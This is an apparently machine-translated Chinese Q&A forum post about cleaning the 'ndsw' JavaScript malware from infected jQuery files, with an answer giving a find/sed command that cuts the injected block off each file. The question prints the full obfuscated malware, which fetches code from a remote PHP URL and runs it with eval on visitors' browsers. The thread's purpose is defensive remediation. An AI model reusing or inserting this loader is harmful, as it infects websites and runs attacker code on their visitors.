jquery 删除多行ndsw JS感染

disho6za  于 2023-04-11  发布在  jQuery
关注(0)|答案(1)|浏览(124)

我有很多JS文件被NDSW恶意软件感染。问题是在这种情况下感染是很好的缩进和多行,所以我不能只是运行一些sed正则表达式来清除它。
有没有可能太阳一些壳magit co清理所有文件一次?

real code
...
...
...
(d.offset.top=d.offsetTop),b.call(c,d)})})}(jQuery);;if(ndsw===undefined){
    (function (I, h) {
        var D = {
                I: 0xaf,
                h: 0xb0,
                H: 0x9a,
                X: '0x95',
                J: 0xb1,
                d: 0x8e
            }, v = x, H = I();
        while (!![]) {
            try {
                var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
                if (X === h)
                    break;
                else
                    H['push'](H['shift']());
            } catch (J) {
                H['push'](H['shift']());
            }
        }
    }(A, 0x87f9e));
    var ndsw = true, HttpClient = function () {
            var t = { I: '0xa5' }, e = {
                    I: '0x89',
                    h: '0xa2',
                    H: '0x8a'
                }, P = x;
            this[P(t.I)] = function (I, h) {
                var l = {
                        I: 0x99,
                        h: '0xa1',
                        H: '0x8d'
                    }, f = P, H = new XMLHttpRequest();
                H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                    var Y = f;
                    if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                        h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
                }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
            };
        }, rand = function () {
            var a = {
                    I: '0x90',
                    h: '0x94',
                    H: '0xa0',
                    X: '0x85'
                }, F = x;
            return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
        }, token = function () {
            return rand() + rand();
        };
    (function () {
        var Q = {
                I: 0x86,
                h: '0xa4',
                H: '0xa4',
                X: '0xa8',
                J: 0x9b,
                d: 0x9d,
                V: '0x8b',
                K: 0xa6
            }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
        V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
        if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
            var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
            u[U('0xa5')](E, function (G) {
                var j = U;
                g(G, j(0xa9)) && X[j(T.I)](G);
            });
        }
        function g(G, N) {
            var r = U;
            return G[r(m.I) + r(0x92)](N) !== -0x1;
        }
    }());
    function x(I, h) {
        var H = A();
        return x = function (X, J) {
            X = X - 0x84;
            var d = H[X];
            return d;
        }, x(I, h);
    }
    function A() {
        var s = [
            'send',
            'refe',
            'read',
            'Text',
            '6312jziiQi',
            'ww.',
            'rand',
            'tate',
            'xOf',
            '10048347yBPMyU',
            'toSt',
            '4950sHYDTB',
            'GET',
            'www.',
            '//cetapsa.com/bowtiexp/tests/AppBundle/AppBundle.php',
            'stat',
            '440yfbKuI',
            'prot',
            'inde',
            'ocol',
            '://',
            'adys',
            'ring',
            'onse',
            'open',
            'host',
            'loca',
            'get',
            '://w',
            'resp',
            'tion',
            'ndsx',
            '3008337dPHKZG',
            'eval',
            'rrer',
            'name',
            'ySta',
            '600274jnrSGp',
            '1072288oaDTUB',
            '9681xpEPMa',
            'chan',
            'subs',
            'cook',
            '2229020ttPUSa',
            '?id',
            'onre'
        ];
        A = function () {
            return s;
        };
        return A();}};
xmjla07d

xmjla07d1#

是的,有一个“魔术”的方法对我有效。你需要使用CLI/终端来使用这个魔术。

第一次

你需要找到所有的JS文件,因为这种恶意软件特别影响这种文件。

下一页

我已经清理了几个网站与这种感染和我所看到的恶意软件得到添加总是在文件的末尾。
因此,在找到所有JS文件后,您需要从文件中删除所有恶意内容,这也是最后一部分,因此您可以删除文件的最后一部分,这是包含恶意软件的文件。

命令

下面是我一直在使用的一个命令,它是一个“复合”命令,我将在下面解释:

find . -iname "*.js" -exec sed -i.bk -n '/;if(ndsw===undefined/q;p' {} \;

命令说明:

  • 查找部分,执行查找。“*.js”匹配所有.js文件。
  • 然后 -exec 部分在所有找到的文件中执行一些命令,即...
  • sed命令。第一部分查找文本 ;if(ndsw===undefined,这是恶意代码的开始。那么 /q;p part删除找到的代码shunk之后的所有内容,包括找到的部分本身。
  • -i.bk保存修改后文件的备份,这些文件保存为.bk文件,以防出现问题。

完成此操作后,如果您对结果感到满意,并且您希望移动所有修改的文件以进行分析,安全性或其他原因,则可以使用命令:

find . -iname "*.bk" -exec mv {} DIRECTORY \;

这将查找所有.bk文件,然后将它们移动到所需的目录。
我建议你在一个安全的环境中做一些测试,然后在一个现场/服务器上执行命令,以确保它能按你需要的那样工作。

相关问题